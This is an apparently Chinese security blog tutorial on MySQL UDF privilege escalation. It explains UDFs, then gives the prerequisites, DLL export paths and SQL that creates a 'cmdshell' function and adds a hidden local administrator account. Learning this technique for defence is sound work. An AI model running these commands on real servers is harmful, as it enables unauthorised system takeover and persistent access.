UDF提权原理

  • A+
所属分类:零基础系列

好多人经常听说udf提取,然而并没有深究过UDF提取的原理,今天我就在这里和大家一起聊聊UDF提权

首先什么是UDF?UDF为User Defined Function用户自定义函数,也就是支持用户自定义函数的功能。看这个名字应该就理解了一半了~

MySQL是最流行的开放源码SQL数据库管理系统,相对于OracleDB2等大型数据库系统,MySQL由于其开源性、易用性、稳定性等特点,受到个人使用者、中小型企业甚至一些大型企业的广泛欢迎。并且MySQL 有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。虽然MySQL 的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对 MySQL 进行一些扩展,这就是可以自行添加的MySQL 的 UDF

有没有恍然大悟?也就是你只要对mysql数据库有足够的权限就能为其添加自定义的函数!我简单画了一个图UDF提权原理

可能有些地方不是很合适,但是基本可以表达这个意思了。这里的自定义函数要以dll形式写成mysql的插件,提供给mysql来使用,具体UDF如何自己写呢?我在手把手教你写MYSQL的UDF中介绍到。

下面我再给大家汇总一下UDF提取方法和常遇到的问题:

一、适用条件
1.目标系统是Windows(Win2000,XP,Win2003);
2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。
3.有root账号密码
二、导出udf
MYSQL 5.1以下版本导出路径:
C:\Winnt\udf.dll 2000
C:\Windows\udf.dll 2003(有的系统\被转义,需要改为C:\Windows\\udf.dll)
导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题)
MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数
可以再mysql里输入
select @@basedir
show variables like ‘%plugins%’ 寻找mysql安装路径
该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
三、提权
使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一) returns string soname ‘导出的DLL路径’;
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);
drop function cmdshell;

发表评论

您必须登录才能发表评论!